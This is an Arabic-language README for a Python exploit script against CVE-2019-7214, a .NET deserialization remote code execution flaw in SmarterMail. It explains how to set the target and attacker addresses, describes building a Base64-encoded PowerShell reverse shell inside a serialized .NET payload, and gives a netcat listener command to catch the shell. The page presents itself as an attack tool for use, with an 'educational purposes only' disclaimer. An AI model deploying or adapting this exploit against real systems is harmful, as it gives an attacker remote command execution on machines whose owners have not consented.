استغلال الصدفة العكسية لنظام ويندوز (PowerShell عبر TCP)

يستهدف هذا السكربت المكتوب بلغة بايثون خدمة ضعيفة تعمل على جهاز ويندوز بعيد. يقوم بإرسال حمولة .NET متسلسلة تُطلق صدفة عكسية تعتمد على PowerShell تعود إلى جهاز المهاجم.

CVE-2019-7214

تنفيذ عن بُعد للكود عبر إلغاء تسلسل .NET في نظام SmarterMail.

⚙️ الإعداد

قم بتحديث قسم الإعداد في السكربت ليتوافق مع بيئتك:

HOSTNAME = 'hostname'       # اسم المضيف الهدف (يتم حله عبر /etc/hosts)
PORT = 9999                 # منفذ الهدف الذي يستمع للإدخال المتسلسل
LHOST = '192.168.45.185'    # عنوان IP للمهاجم (المستمع)
LPORT = 4444                # منفذ الاستماع لدى المهاجم

🧪 ماذا يفعل

• يحل اسم المضيف الهدف إلى عنوان IP.
• ينشئ أمر PowerShell للصدفة العكسية.
• يرمز الأمر بصيغة Base64 بتشفير UTF-16LE.
• يُلحق الحمولة إلى كتلة حمولة .NET متسلسلة مبنية مسبقًا.
• يرسل الحمولة عبر اتصال TCP إلى الهدف.

🛠 المتطلبات

• بايثون 3.x
• Netcat أو أداة مشابهة تستمع على منفذ المهاجم:
  root@kitploit:~

  nc -lvnp 4444
  

🚀 الاستخدام

python3 CVE-2019-7214.py

إذا نجحت العملية، ستحصل على موجه PowerShell من الهدف على المستمع الخاص بك.

🧼 ملاحظات

• تأكد من أن الهدف يقبل الإدخال المتسلسل .NET عبر المنفذ المحدد.
• يفترض هذا السكربت أن الهدف يمكنه تنفيذ كائنات غير متسلسلة تحتوي على وظائف System.Management.Automation.
• كن حذرًا بشأن المسافات والترميز وحجم الحمولة – يتم تبطين أمر PowerShell إلى 1360 بايت بالضبط لتجنب التلف.

⚠️ إخلاء مسؤولية

هذا السكربت مُقدم لأغراض تعليمية فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يُعد غير قانوني وغير أخلاقي.